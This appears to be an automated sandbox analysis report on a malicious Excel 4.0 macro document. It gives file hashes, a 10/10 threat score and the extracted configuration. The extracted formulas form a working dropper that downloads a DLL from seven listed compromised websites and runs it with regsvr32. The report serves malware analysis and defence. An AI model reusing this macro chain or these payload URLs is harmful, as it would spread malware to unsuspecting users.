General

  • Target

    029490043fe87b081869226c4a91b0b30fd94d55556bd89eda53c95aa547a521

  • Size

    21KB

  • Sample

    241120-2hgg4swajm

  • MD5

    4d3ea999c1f60c580e5a5d51a656aab0

  • SHA1

    ba512a19e619461640fe07bb569d2085771bfd7f

  • SHA256

    029490043fe87b081869226c4a91b0b30fd94d55556bd89eda53c95aa547a521

  • SHA512

    b23b8130364ba9abd55162ba79db6892904c3eb7df6c23bd220e743c0980b8473f58b26f7d1be51fa8e7a6107ea5f44f5aeef5dcd4f3e7cca798d2fa8d6d8fb9

  • SSDEEP

    384:DhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:DtsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

xlm40.dropper

https://brutobrasil.com.br/pdf/toO18cIP3/

xlm40.dropper

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

Targets

    • Target

      029490043fe87b081869226c4a91b0b30fd94d55556bd89eda53c95aa547a521

    • Size

      21KB

    • MD5

      4d3ea999c1f60c580e5a5d51a656aab0

    • SHA1

      ba512a19e619461640fe07bb569d2085771bfd7f

    • SHA256

      029490043fe87b081869226c4a91b0b30fd94d55556bd89eda53c95aa547a521

    • SHA512

      b23b8130364ba9abd55162ba79db6892904c3eb7df6c23bd220e743c0980b8473f58b26f7d1be51fa8e7a6107ea5f44f5aeef5dcd4f3e7cca798d2fa8d6d8fb9

    • SSDEEP

      384:DhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:DtsNxzXQFCBn9kC+xbL71

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks